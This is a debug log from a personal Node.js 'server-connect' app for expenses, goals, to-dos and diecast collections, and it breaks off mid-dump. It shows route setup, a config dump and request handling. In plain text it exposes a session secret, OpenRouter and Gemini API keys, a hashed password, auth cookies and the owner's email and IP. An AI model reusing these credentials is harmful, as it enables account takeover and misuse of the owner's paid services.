2026-07-03T09:23:12.564Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T09:23:12.569Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T09:23:12.574Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T09:23:12.578Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T09:23:12.582Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T09:23:12.590Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T09:23:12.590Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T09:23:12.597Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T09:23:12.597Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T09:23:12.602Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T09:23:12.605Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T09:23:12.605Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T09:23:12.611Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T09:23:12.615Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T09:23:12.619Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T09:23:12.619Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T09:23:12.625Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T09:23:12.625Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T09:23:12.631Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T09:23:12.635Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T09:23:12.638Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T09:23:12.648Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T09:27:29.024Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T09:27:29.201Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T09:27:29.281Z server-connect:setup:upload Upload middleware configured.
2026-07-03T09:27:29.281Z server-connect:secure CSRF Protection initialized
2026-07-03T09:27:29.283Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T09:27:29.285Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T09:27:29.285Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T09:27:29.286Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T09:27:29.286Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T09:27:29.287Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T09:27:29.288Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T09:27:29.288Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T09:27:29.291Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T09:27:29.291Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T09:27:29.291Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T09:27:29.292Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T09:27:29.292Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T09:27:29.292Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T09:27:29.293Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T09:27:29.293Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T09:27:29.293Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T09:27:29.294Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T09:27:29.294Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T09:27:29.294Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T09:27:29.295Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T09:27:29.295Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T09:27:29.295Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T09:27:29.295Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T09:27:29.296Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T09:27:29.296Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T09:27:29.296Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T09:27:29.296Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T09:27:29.297Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T09:27:29.297Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T09:27:29.297Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T09:27:29.297Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T09:27:29.297Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T09:27:29.298Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T09:27:29.298Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T09:27:29.298Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T09:27:29.298Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T09:27:29.298Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T09:27:29.404Z server-connect:router Serving templateView /
2026-07-03T09:27:29.409Z server-connect:app Executing action step identify
2026-07-03T09:27:29.409Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:29.460Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-07-03T09:27:29.470Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-07-03T09:27:29.521Z server-connect:output identity: 1
2026-07-03T09:27:29.522Z server-connect:app Executing action step restrict
2026-07-03T09:27:29.522Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T09:27:29.523Z server-connect:output restrict: undefined
2026-07-03T09:27:29.523Z server-connect:app Executing action step restrict
2026-07-03T09:27:29.523Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T09:27:29.524Z server-connect:output restrict: undefined
2026-07-03T09:27:29.524Z server-connect:router Render template layouts/main
2026-07-03T09:27:29.525Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T09:27:29.402Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-03T09:27:33.438Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-03T09:27:33.439Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-03T09:27:33.440Z server-connect:app Executing action step identify
2026-07-03T09:27:33.440Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:33.440Z server-connect:output identity: 1
2026-07-03T09:27:33.440Z server-connect:app Executing action step restrict
2026-07-03T09:27:33.440Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:33.440Z server-connect:app Executing action step identify
2026-07-03T09:27:33.440Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:33.440Z server-connect:output identity: 1
2026-07-03T09:27:33.441Z server-connect:app Executing action step restrict
2026-07-03T09:27:33.441Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:33.441Z server-connect:output restrict: undefined
2026-07-03T09:27:33.442Z server-connect:app Executing action step single
2026-07-03T09:27:33.442Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-03T09:27:33.445Z server-connect:output restrict: undefined
2026-07-03T09:27:33.445Z server-connect:app Executing action step select
2026-07-03T09:27:33.445Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-03T09:27:33.447Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-03T09:27:33.452Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  {
    item_name: 'Mobile Premium',
    item_id: 46,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 587 more items
]
2026-07-03T09:27:36.753Z server-connect:router Serving templateView /diecast
2026-07-03T09:27:36.753Z server-connect:app Executing action step identify
2026-07-03T09:27:36.753Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:36.753Z server-connect:output identity: 1
2026-07-03T09:27:36.753Z server-connect:app Executing action step restrict
2026-07-03T09:27:36.753Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T09:27:36.754Z server-connect:output restrict: undefined
2026-07-03T09:27:36.754Z server-connect:router Render template diecast
2026-07-03T09:27:36.754Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T09:27:29.533Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
